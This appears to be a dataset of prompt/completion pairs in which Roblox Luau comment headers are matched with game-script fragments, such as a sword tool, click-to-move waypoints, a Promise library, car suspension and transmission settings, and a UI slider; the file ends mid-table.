prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--Put this script in game.StarterPlayer.StarterCharacterScripts
--Put the punch animation id on the animation inside this script
|
local humanoid = script.Parent.Humanoid
local mouse = game.Players.LocalPlayer:GetMouse()
mouse.Button1Down:Connect(function()
if script.Parent:FindFirstChildOfClass("Tool") == nil and script.DamagePlayers.Debounce.Value == false then
local punchTrack = humanoid:LoadAnimation(script.Animation)
punchTrack:Play()
script.RemoteEvent:FireServer()
wait(script.Cooldown.Value)
punchTrack:Stop()
end
end)
|
--!nonstrict
|
local ClickToMoveDisplay = {}
local FAILURE_ANIMATION_ID = "rbxassetid://2874840706"
local TrailDotIcon = "rbxasset://textures/ui/traildot.png"
local EndWaypointIcon = "rbxasset://textures/ui/waypoint.png"
local WaypointsAlwaysOnTop = false
local WAYPOINT_INCLUDE_FACTOR = 2
local LAST_DOT_DISTANCE = 3
local WAYPOINT_BILLBOARD_SIZE = UDim2.new(0, 1.68 * 25, 0, 2 * 25)
local ENDWAYPOINT_SIZE_OFFSET_MIN = Vector2.new(0, 0.5)
local ENDWAYPOINT_SIZE_OFFSET_MAX = Vector2.new(0, 1)
local FAIL_WAYPOINT_SIZE_OFFSET_CENTER = Vector2.new(0, 0.5)
local FAIL_WAYPOINT_SIZE_OFFSET_LEFT = Vector2.new(0.1, 0.5)
local FAIL_WAYPOINT_SIZE_OFFSET_RIGHT = Vector2.new(-0.1, 0.5)
local FAILURE_TWEEN_LENGTH = 0.125
local FAILURE_TWEEN_COUNT = 4
local TWEEN_WAYPOINT_THRESHOLD = 5
local TRAIL_DOT_PARENT_NAME = "ClickToMoveDisplay"
local TrailDotSize = Vector2.new(1.5, 1.5)
local TRAIL_DOT_MIN_SCALE = 1
local TRAIL_DOT_MIN_DISTANCE = 10
local TRAIL_DOT_MAX_SCALE = 2.5
local TRAIL_DOT_MAX_DISTANCE = 100
local PlayersService = game:GetService("Players")
local TweenService = game:GetService("TweenService")
local RunService = game:GetService("RunService")
local Workspace = game:GetService("Workspace")
local LocalPlayer = PlayersService.LocalPlayer
local function CreateWaypointTemplates()
local TrailDotTemplate = Instance.new("Part")
TrailDotTemplate.Size = Vector3.new(1, 1, 1)
TrailDotTemplate.Anchored = true
TrailDotTemplate.CanCollide = false
TrailDotTemplate.Name = "TrailDot"
TrailDotTemplate.Transparency = 1
local TrailDotImage = Instance.new("ImageHandleAdornment")
TrailDotImage.Name = "TrailDotImage"
TrailDotImage.Size = TrailDotSize
TrailDotImage.SizeRelativeOffset = Vector3.new(0, 0, -0.1)
TrailDotImage.AlwaysOnTop = WaypointsAlwaysOnTop
TrailDotImage.Image = TrailDotIcon
TrailDotImage.Adornee = TrailDotTemplate
TrailDotImage.Parent = TrailDotTemplate
local EndWaypointTemplate = Instance.new("Part")
EndWaypointTemplate.Size = Vector3.new(2, 2, 2)
EndWaypointTemplate.Anchored = true
EndWaypointTemplate.CanCollide = false
EndWaypointTemplate.Name = "EndWaypoint"
EndWaypointTemplate.Transparency = 1
local EndWaypointImage = Instance.new("ImageHandleAdornment")
EndWaypointImage.Name = "TrailDotImage"
EndWaypointImage.Size = TrailDotSize
EndWaypointImage.SizeRelativeOffset = Vector3.new(0, 0, -0.1)
EndWaypointImage.AlwaysOnTop = WaypointsAlwaysOnTop
EndWaypointImage.Image = TrailDotIcon
EndWaypointImage.Adornee = EndWaypointTemplate
EndWaypointImage.Parent = EndWaypointTemplate
local EndWaypointBillboard = Instance.new("BillboardGui")
EndWaypointBillboard.Name = "EndWaypointBillboard"
EndWaypointBillboard.Size = WAYPOINT_BILLBOARD_SIZE
EndWaypointBillboard.LightInfluence = 0
EndWaypointBillboard.SizeOffset = ENDWAYPOINT_SIZE_OFFSET_MIN
EndWaypointBillboard.AlwaysOnTop = true
EndWaypointBillboard.Adornee = EndWaypointTemplate
EndWaypointBillboard.Parent = EndWaypointTemplate
local EndWaypointImageLabel = Instance.new("ImageLabel")
EndWaypointImageLabel.Image = EndWaypointIcon
EndWaypointImageLabel.BackgroundTransparency = 1
EndWaypointImageLabel.Size = UDim2.new(1, 0, 1, 0)
EndWaypointImageLabel.Parent = EndWaypointBillboard
local FailureWaypointTemplate = Instance.new("Part")
FailureWaypointTemplate.Size = Vector3.new(2, 2, 2)
FailureWaypointTemplate.Anchored = true
FailureWaypointTemplate.CanCollide = false
FailureWaypointTemplate.Name = "FailureWaypoint"
FailureWaypointTemplate.Transparency = 1
local FailureWaypointImage = Instance.new("ImageHandleAdornment")
FailureWaypointImage.Name = "TrailDotImage"
FailureWaypointImage.Size = TrailDotSize
FailureWaypointImage.SizeRelativeOffset = Vector3.new(0, 0, -0.1)
FailureWaypointImage.AlwaysOnTop = WaypointsAlwaysOnTop
FailureWaypointImage.Image = TrailDotIcon
FailureWaypointImage.Adornee = FailureWaypointTemplate
FailureWaypointImage.Parent = FailureWaypointTemplate
local FailureWaypointBillboard = Instance.new("BillboardGui")
FailureWaypointBillboard.Name = "FailureWaypointBillboard"
FailureWaypointBillboard.Size = WAYPOINT_BILLBOARD_SIZE
FailureWaypointBillboard.LightInfluence = 0
FailureWaypointBillboard.SizeOffset = FAIL_WAYPOINT_SIZE_OFFSET_CENTER
FailureWaypointBillboard.AlwaysOnTop = true
FailureWaypointBillboard.Adornee = FailureWaypointTemplate
FailureWaypointBillboard.Parent = FailureWaypointTemplate
local FailureWaypointFrame = Instance.new("Frame")
FailureWaypointFrame.BackgroundTransparency = 1
FailureWaypointFrame.Size = UDim2.new(0, 0, 0, 0)
FailureWaypointFrame.Position = UDim2.new(0.5, 0, 1, 0)
FailureWaypointFrame.Parent = FailureWaypointBillboard
local FailureWaypointImageLabel = Instance.new("ImageLabel")
FailureWaypointImageLabel.Image = EndWaypointIcon
FailureWaypointImageLabel.BackgroundTransparency = 1
FailureWaypointImageLabel.Position = UDim2.new(
0, -WAYPOINT_BILLBOARD_SIZE.X.Offset/2, 0, -WAYPOINT_BILLBOARD_SIZE.Y.Offset
)
FailureWaypointImageLabel.Size = WAYPOINT_BILLBOARD_SIZE
FailureWaypointImageLabel.Parent = FailureWaypointFrame
return TrailDotTemplate, EndWaypointTemplate, FailureWaypointTemplate
end
local TrailDotTemplate, EndWaypointTemplate, FailureWaypointTemplate = CreateWaypointTemplates()
local function getTrailDotParent()
local camera = Workspace.CurrentCamera
local trailParent = camera:FindFirstChild(TRAIL_DOT_PARENT_NAME)
if not trailParent then
trailParent = Instance.new("Model")
trailParent.Name = TRAIL_DOT_PARENT_NAME
trailParent.Parent = camera
end
return trailParent
end
local function placePathWaypoint(waypointModel, position: Vector3)
local ray = Ray.new(position + Vector3.new(0, 2.5, 0), Vector3.new(0, -10, 0))
local hitPart, hitPoint, hitNormal = Workspace:FindPartOnRayWithIgnoreList(
ray,
{ Workspace.CurrentCamera, LocalPlayer.Character }
)
if hitPart then
waypointModel.CFrame = CFrame.new(hitPoint, hitPoint + hitNormal)
waypointModel.Parent = getTrailDotParent()
end
end
local TrailDot = {}
TrailDot.__index = TrailDot
function TrailDot:Destroy()
self.DisplayModel:Destroy()
end
function TrailDot:NewDisplayModel(position)
local newDisplayModel: Part = TrailDotTemplate:Clone()
placePathWaypoint(newDisplayModel, position)
return newDisplayModel
end
function TrailDot.new(position, closestWaypoint)
local self = setmetatable({}, TrailDot)
self.DisplayModel = self:NewDisplayModel(position)
self.ClosestWayPoint = closestWaypoint
return self
end
local EndWaypoint = {}
EndWaypoint.__index = EndWaypoint
function EndWaypoint:Destroy()
self.Destroyed = true
self.Tween:Cancel()
self.DisplayModel:Destroy()
end
function EndWaypoint:NewDisplayModel(position)
local newDisplayModel: Part = EndWaypointTemplate:Clone()
placePathWaypoint(newDisplayModel, position)
return newDisplayModel
end
function EndWaypoint:CreateTween()
local tweenInfo = TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, -1, true)
local tween = TweenService:Create(
self.DisplayModel.EndWaypointBillboard,
tweenInfo,
{ SizeOffset = ENDWAYPOINT_SIZE_OFFSET_MAX }
)
tween:Play()
return tween
end
function EndWaypoint:TweenInFrom(originalPosition: Vector3)
local currentPositon: Vector3 = self.DisplayModel.Position
local studsOffset = originalPosition - currentPositon
self.DisplayModel.EndWaypointBillboard.StudsOffset = Vector3.new(0, studsOffset.Y, 0)
local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.Out)
local tween = TweenService:Create(
self.DisplayModel.EndWaypointBillboard,
tweenInfo,
{ StudsOffset = Vector3.new(0, 0, 0) }
)
tween:Play()
return tween
end
function EndWaypoint.new(position: Vector3, closestWaypoint: number?, originalPosition: Vector3?)
local self = setmetatable({}, EndWaypoint)
self.DisplayModel = self:NewDisplayModel(position)
self.Destroyed = false
if originalPosition and (originalPosition - position).Magnitude > TWEEN_WAYPOINT_THRESHOLD then
self.Tween = self:TweenInFrom(originalPosition)
coroutine.wrap(function()
self.Tween.Completed:Wait()
if not self.Destroyed then
self.Tween = self:CreateTween()
end
end)()
else
self.Tween = self:CreateTween()
end
self.ClosestWayPoint = closestWaypoint
return self
end
local FailureWaypoint = {}
FailureWaypoint.__index = FailureWaypoint
function FailureWaypoint:Hide()
self.DisplayModel.Parent = nil
end
function FailureWaypoint:Destroy()
self.DisplayModel:Destroy()
end
function FailureWaypoint:NewDisplayModel(position)
local newDisplayModel: Part = FailureWaypointTemplate:Clone()
placePathWaypoint(newDisplayModel, position)
local ray = Ray.new(position + Vector3.new(0, 2.5, 0), Vector3.new(0, -10, 0))
local hitPart, hitPoint, hitNormal = Workspace:FindPartOnRayWithIgnoreList(
ray, { Workspace.CurrentCamera, LocalPlayer.Character }
)
if hitPart then
newDisplayModel.CFrame = CFrame.new(hitPoint, hitPoint + hitNormal)
newDisplayModel.Parent = getTrailDotParent()
end
return newDisplayModel
end
function FailureWaypoint:RunFailureTween()
wait(FAILURE_TWEEN_LENGTH) -- Delay one tween length betfore starting tweening
-- Tween out from center
local tweenInfo = TweenInfo.new(FAILURE_TWEEN_LENGTH/2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out)
local tweenLeft = TweenService:Create(self.DisplayModel.FailureWaypointBillboard, tweenInfo,
{ SizeOffset = FAIL_WAYPOINT_SIZE_OFFSET_LEFT })
tweenLeft:Play()
local tweenLeftRoation = TweenService:Create(self.DisplayModel.FailureWaypointBillboard.Frame, tweenInfo,
{ Rotation = 10 })
tweenLeftRoation:Play()
tweenLeft.Completed:wait()
-- Tween back and forth
tweenInfo = TweenInfo.new(FAILURE_TWEEN_LENGTH, Enum.EasingStyle.Sine, Enum.EasingDirection.Out,
FAILURE_TWEEN_COUNT - 1, true)
local tweenSideToSide = TweenService:Create(self.DisplayModel.FailureWaypointBillboard, tweenInfo,
{ SizeOffset = FAIL_WAYPOINT_SIZE_OFFSET_RIGHT})
tweenSideToSide:Play()
-- Tween flash dark and roate left and right
tweenInfo = TweenInfo.new(FAILURE_TWEEN_LENGTH, Enum.EasingStyle.Sine, Enum.EasingDirection.Out,
FAILURE_TWEEN_COUNT - 1, true)
local tweenFlash = TweenService:Create(self.DisplayModel.FailureWaypointBillboard.Frame.ImageLabel, tweenInfo,
{ ImageColor3 = Color3.new(0.75, 0.75, 0.75)})
tweenFlash:Play()
local tweenRotate = TweenService:Create(self.DisplayModel.FailureWaypointBillboard.Frame, tweenInfo,
{ Rotation = -10 })
tweenRotate:Play()
tweenSideToSide.Completed:wait()
-- Tween back to center
tweenInfo = TweenInfo.new(FAILURE_TWEEN_LENGTH/2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out)
local tweenCenter = TweenService:Create(self.DisplayModel.FailureWaypointBillboard, tweenInfo,
{ SizeOffset = FAIL_WAYPOINT_SIZE_OFFSET_CENTER })
tweenCenter:Play()
local tweenRoation = TweenService:Create(self.DisplayModel.FailureWaypointBillboard.Frame, tweenInfo,
{ Rotation = 0 })
tweenRoation:Play()
tweenCenter.Completed:wait()
wait(FAILURE_TWEEN_LENGTH) -- Delay one tween length betfore removing
end
function FailureWaypoint.new(position)
local self = setmetatable({}, FailureWaypoint)
self.DisplayModel = self:NewDisplayModel(position)
return self
end
local failureAnimation = Instance.new("Animation")
failureAnimation.AnimationId = FAILURE_ANIMATION_ID
local lastHumanoid = nil
local lastFailureAnimationTrack: AnimationTrack? = nil
local function getFailureAnimationTrack(myHumanoid)
if myHumanoid == lastHumanoid then
return lastFailureAnimationTrack
end
lastFailureAnimationTrack = myHumanoid:LoadAnimation(failureAnimation)
assert(lastFailureAnimationTrack, "")
lastFailureAnimationTrack.Priority = Enum.AnimationPriority.Action
lastFailureAnimationTrack.Looped = false
return lastFailureAnimationTrack
end
local function findPlayerHumanoid()
local character = LocalPlayer.Character
if character then
return character:FindFirstChildOfClass("Humanoid")
end
end
local function createTrailDots(wayPoints: {PathWaypoint}, originalEndWaypoint: Vector3)
local newTrailDots = {}
local count = 1
for i = 1, #wayPoints - 1 do
local closeToEnd = (wayPoints[i].Position - wayPoints[#wayPoints].Position).Magnitude < LAST_DOT_DISTANCE
local includeWaypoint = i % WAYPOINT_INCLUDE_FACTOR == 0 and not closeToEnd
if includeWaypoint then
local trailDot = TrailDot.new(wayPoints[i].Position, i)
newTrailDots[count] = trailDot
count = count + 1
end
end
local newEndWaypoint = EndWaypoint.new(wayPoints[#wayPoints].Position, #wayPoints, originalEndWaypoint)
table.insert(newTrailDots, newEndWaypoint)
local reversedTrailDots = {}
count = 1
for i = #newTrailDots, 1, -1 do
reversedTrailDots[count] = newTrailDots[i]
count = count + 1
end
return reversedTrailDots
end
local function getTrailDotScale(distanceToCamera: number, defaultSize: Vector2)
local rangeLength = TRAIL_DOT_MAX_DISTANCE - TRAIL_DOT_MIN_DISTANCE
local inRangePoint = math.clamp(distanceToCamera - TRAIL_DOT_MIN_DISTANCE, 0, rangeLength)/rangeLength
local scale = TRAIL_DOT_MIN_SCALE + (TRAIL_DOT_MAX_SCALE - TRAIL_DOT_MIN_SCALE)*inRangePoint
return defaultSize * scale
end
local createPathCount = 0
|
------ VARIABLES ------
|
local tele = script.Parent
local padIsOneDirectional = tele:WaitForChild("OneWay")
local pad1 = tele:WaitForChild("Pad1")
local pad2 = tele:WaitForChild("Pad2")
local bounce = true
|
--------STAGE--------
|
game.Workspace.projection1.Decal.Texture = game.Workspace.Screens.ProjectionL.Value
game.Workspace.projection2.Decal.Texture = game.Workspace.Screens.ProjectionR.Value
|
--//Shifting//-
|
if key == "6" then
carSeat.Wheels.FR.Spring.Stiffness = 9000
carSeat.Wheels.FL.Spring.Stiffness = 9000
elseif key == "5" then
carSeat.Wheels.FR.Spring.Stiffness = 3500
carSeat.Wheels.FL.Spring.Stiffness = 3500
end
end)
|
-- Pause the shimmer
|
local function pauseShimmer()
shim:Pause()
end
|
--[[
Stage implementation
]]
|
local Queue = {}
Queue.__index = Queue
|
--[[
Returns a new promise that:
* is resolved when all input promises resolve
* is rejected if ANY input promises reject
]]
|
function Promise._all(traceback, promises, amount)
if type(promises) ~= "table" then
error(string.format(ERROR_NON_LIST, "Promise.all"), 3)
end
-- We need to check that each value is a promise here so that we can produce
-- a proper error rather than a rejected promise with our error.
for i, promise in pairs(promises) do
if not Promise.is(promise) then
error(string.format(ERROR_NON_PROMISE_IN_LIST, "Promise.all", tostring(i)), 3)
end
end
-- If there are no values then return an already resolved promise.
if #promises == 0 or amount == 0 then
return Promise.resolve({})
end
return Promise._new(traceback, function(resolve, reject, onCancel)
-- An array to contain our resolved values from the given promises.
local resolvedValues = {}
local newPromises = {}
-- Keep a count of resolved promises because just checking the resolved
-- values length wouldn't account for promises that resolve with nil.
local resolvedCount = 0
local rejectedCount = 0
local done = false
local function cancel()
for _, promise in ipairs(newPromises) do
promise:cancel()
end
end
-- Called when a single value is resolved and resolves if all are done.
local function resolveOne(i, ...)
if done then
return
end
resolvedCount = resolvedCount + 1
if amount == nil then
resolvedValues[i] = ...
else
resolvedValues[resolvedCount] = ...
end
if resolvedCount >= (amount or #promises) then
done = true
resolve(resolvedValues)
cancel()
end
end
onCancel(cancel)
-- We can assume the values inside `promises` are all promises since we
-- checked above.
for i, promise in ipairs(promises) do
newPromises[i] = promise:andThen(
function(...)
resolveOne(i, ...)
end,
function(...)
rejectedCount = rejectedCount + 1
if amount == nil or #promises - rejectedCount < amount then
cancel()
done = true
reject(...)
end
end
)
end
if done then
cancel()
end
end)
end
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 5
local slash_damage = 8
local lunge_damage = 12
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7
local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function lunge()
damage = lunge_damage
LungeSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
force.Parent = Tool.Parent.Torso
wait(.3)
swordOut()
wait(.3)
force.Parent = nil
wait(.5)
swordUp()
damage = slash_damage
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
function swordAcross()
-- parry
end
Tool.Enabled = true
local last_attack = 0
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
t = r.Stepped:wait()
if (t - last_attack < .2) then
lunge()
else
attack()
end
last_attack = t
--wait(.5)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
--force.maxForce = Vector3.new(200,0,200)
|
gyro.maxTorque = Vector3.new(50000,500000,500000)
gyro.cframe = CFrame.fromEulerAnglesXYZ(math.pi/2,math.pi,-math.pi/2+ math.random(-2*math.pi,2*math.pi))
current_look = math.random(-2*math.pi,2*math.pi)
math.randomseed(tick())
math.random()
function idle()
wait(math.random(3,10))
end
function lookaround()
for i=1,math.random(2,3) do
wait(math.random(.5,2))
current_look = current_look + math.random(-math.pi/6,math.pi/6)
gyro.cframe = CFrame.fromEulerAnglesXYZ(math.pi/2,math.pi,-math.pi/2+ current_look)
end
end
function walk()
for i=1,math.random(2,10) do
current_look = current_look + math.random(-math.pi/4,math.pi/4)
gyro.cframe = CFrame.fromEulerAnglesXYZ(math.pi/2,math.pi,-math.pi/2+ current_look)
wait(math.random(.5,2))
force.velocity = (script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(0,math.pi/2,0)).lookVector * 100
force.maxForce = Vector3.new(160,0,160)
wait(math.random(.5,1))
force.maxForce = Vector3.new(0,0,0)
wait(math.random(1,1.5))
end
end
while true do--math.random(0,2*math.pi)
wait()
local rand = math.random(1,4)
if rand == 1 then
walk()
elseif rand == 2 or rand == 4 then
lookaround()
else
idle()
end
end
|
--[=[
@param instance Instance
@return RBXScriptConnection
Attaches the trove to a Roblox instance. Once this
instance is removed from the game (parent or ancestor's
parent set to `nil`), the trove will automatically
clean up.
:::caution
Will throw an error if `instance` is not a descendant
of the game hierarchy.
:::
]=]
|
function Trove:AttachToInstance(instance: Instance)
assert(instance:IsDescendantOf(game), "Instance is not a descendant of the game hierarchy")
return self:Connect(instance.AncestryChanged, function(_child, parent)
if not parent then
self:Destroy()
end
end)
end
|
--Insert this script into Workspace, not camera.
|
game.Players.PlayerAdded:connect(function(p)
wait(1)
p.CameraMaxZoomDistance = 6
end)
|
-- Decompiled with the Synapse X Luau decompiler.
|
return function(p1, p2)
local v1 = nil;
if type(p1) == "boolean" then
v1 = "BoolValue";
elseif type(p1) == "number" then
v1 = "NumberValue";
elseif type(p1) == "string" then
v1 = "StringValue";
elseif typeof(p1) == "CFrame" then
v1 = "CFrameValue";
elseif typeof(p1) == "Color3" then
v1 = "Color3Value";
elseif typeof(p1) == "Ray" then
v1 = "RayValue";
elseif typeof(p1) == "Vector3" then
v1 = "Vector3Value";
elseif typeof(p1) == "Instance" then
v1 = "ObjectValue";
end;
if not v1 then
return print("Value type not supported");
end;
local v2 = Instance.new(v1);
v2.Value = p1;
if p2 then
v2.Parent = p2;
end;
return v2;
end;
|
--CONFIG VARIABLES
|
local tweenTime = 4
local closeWaitTime = 3
local easingStyle = Enum.EasingStyle.Quad
local easingDirection = Enum.EasingDirection.InOut
local repeats = 0
local reverse = false
local delayTime = 0
|
--forced walkspeed
|
function module.force_walkspeed(hum, tim)
coroutine.wrap(function()
local i = 1
task.delay(tim, function() i = 2 end)
while true do
hum.WalkSpeed = 3
hum.JumpPower = 1
task.wait()
if i == 2 then
hum.WalkSpeed = 16
hum.JumpPower = defJump
break
end
end
end)()
end
|
--[[Rear]]
|
--
Tune.RTireProfile = 1.5 -- Tire profile, aggressive or smooth
Tune.RProfileHeight = 2 -- Profile height, conforming to tire
Tune.RTireCompound = 3 -- The more compounds you have, the harder your tire will get towards the middle, sacrificing grip for wear
Tune.RTireFriction = 1.1 -- Your tire's friction in the best conditions.
|
--[[
Create a new, empty TestPlan.
]]
|
function TestPlan.new(planArgs)
local plan = {
children = {},
}
if planArgs then
for key, value in pairs(planArgs) do
plan[key] = value
end
end
return setmetatable(plan, TestPlan)
end
|
--[[while true do
for i = 1,v do
script.Parent.Rotation = script.Parent.Rotation * 1.05
game:GetService('RunService').RenderStepped:wait()
end
for i = 1,v do
script.Parent.Rotation = script.Parent.Rotation / 1.05
game:GetService('RunService').RenderStepped:wait()
end
wait(.2)
v = v * 1.2
end--]]
|
i = 1
while true do
script.Parent.Rotation = script.Parent.Rotation + 10
game:GetService('RunService').RenderStepped:wait()
end
|
--[[Susupension]]
|
Tune.SusEnabled = true -- Sets whether suspension is enabled for PGS
--Front Suspension
Tune.FSusStiffness = 6000 -- Spring Force
Tune.FSusDamping = 1 -- Spring Dampening
Tune.FAntiRoll = 400 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 1.9 -- Resting Suspension length (in studs)
Tune.FPreCompress = .1 -- Pre-compression adds resting length force
Tune.FExtensionLim = .4 -- Max Extension Travel (in studs)
Tune.FCompressLim = .2 -- Max Compression Travel (in studs)
Tune.FSusAngle = 75 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 2 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusStiffness = 6000 -- Spring Force
Tune.RSusDamping = 1 -- Spring Dampening
Tune.RAntiRoll = 400 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2.1 -- Resting Suspension length (in studs)
Tune.RPreCompress = .1 -- Pre-compression adds resting length force
Tune.RExtensionLim = .4 -- Max Extension Travel (in studs)
Tune.RCompressLim = .2 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 2 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics (PGS ONLY)
Tune.SusVisible = false -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 8 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--==================================================
--Setting
--==================================================
|
local Ammo = math.huge --Amount of Ammo to give. Set it to "math.huge" to refill the gun's ammo.
local Cooldown = 10
local GunToRefillAmmo = {
"Pistol",
--Add more gun here if you want
}
|
-- Private Methods
|
function init(self)
local frame = self.Frame
local dragger = frame.Dragger
local background = frame.Background
local axis = self._Axis
local maid = self._Maid
local spring = self._Spring
local dragTracker = Lazy.Classes.Dragger.new(frame)
self.DragStart = dragTracker.DragStart
self.DragStop = dragTracker.DragStop
--maid:Mark(frame)
maid:Mark(self._ChangedBind)
maid:Mark(self._ClickedBind)
maid:Mark(function() dragTracker:Destroy() end)
-- Get bounds and background size scaled accordingly for calculations
local function setUdim2(a, b)
if (axis == "y") then a, b = b, a end
return UDim2.new(a, 0, b, 0)
end
local last = -1
local bPos, bSize
local function updateBounds()
bPos, bSize = getBounds(self)
background.Size = setUdim2(bSize / frame.AbsoluteSize[axis], 1)
last = -1
end
updateBounds()
maid:Mark(frame:GetPropertyChangedSignal("AbsoluteSize"):Connect(updateBounds))
maid:Mark(frame:GetPropertyChangedSignal("AbsolutePosition"):Connect(updateBounds))
maid:Mark(frame:GetPropertyChangedSignal("Parent"):Connect(updateBounds))
-- Move the slider when the xbox moves it
local xboxDir = 0
local xboxTick = 0
local xboxSelected = false
maid:Mark(frame.SelectionGained:Connect(function()
xboxSelected = true
end))
maid:Mark(frame.SelectionLost:Connect(function()
xboxSelected = false
end))
maid:Mark(UIS.InputChanged:Connect(function(input, process)
if (process and input.KeyCode == THUMBSTICK) then
local pos = input.Position
xboxDir = math.abs(pos[axis]) > XBOX_DEADZONE and math.sign(pos[axis]) or 0
end
end))
-- Move the slider when we drag it
maid:Mark(dragTracker.DragChanged:Connect(function(element, input, delta)
if (self.IsActive) then
self:Set((input.Position[axis] - bPos) / bSize, false)
end
end))
-- Move the slider when we click somewhere on the bar
maid:Mark(frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
local t = (input.Position[axis] - bPos) / bSize
self._ClickedBind:Fire(math.clamp(t, 0, 1))
if (self.IsActive) then
self:Set(t, self.TweenClick)
end
end
end))
-- position the slider
maid:Mark(RUNSERVICE.RenderStepped:Connect(function(dt)
if (xboxSelected) then
local t = tick()
if (self.Interval <= 0) then
self:Set(self:Get() + xboxDir*XBOX_STEP*dt*60)
elseif (t - xboxTick > DEBOUNCE_TICK) then
xboxTick = t
self:Set(self:Get() + self.Interval*xboxDir)
end
end
spring:Update(dt)
local x = spring.x
if (x ~= last) then
local scalePos = (bPos + (x * bSize) - frame.AbsolutePosition[axis]) / frame.AbsoluteSize[axis]
dragger.Position = setUdim2(scalePos, 0.5)
self._ChangedBind:Fire(self:Get())
last = x
end
end))
end
function getBounds(self)
local frame = self.Frame
local dragger = frame.Dragger
local axis = self._Axis
local pos = frame.AbsolutePosition[axis] + dragger.AbsoluteSize[axis]/2
local size = frame.AbsoluteSize[axis] - dragger.AbsoluteSize[axis]
return pos, size
end
|
-- /// Variables
|
local mouse = game.Players.LocalPlayer:GetMouse()
local frame = script.Parent.Frame
|
--[[Transmission]]
|
Tune.TransModes = {"Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.97 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.42 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.75 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.38 ,
--[[ 3 ]] 1.72 ,
--[[ 4 ]] 1.34 ,
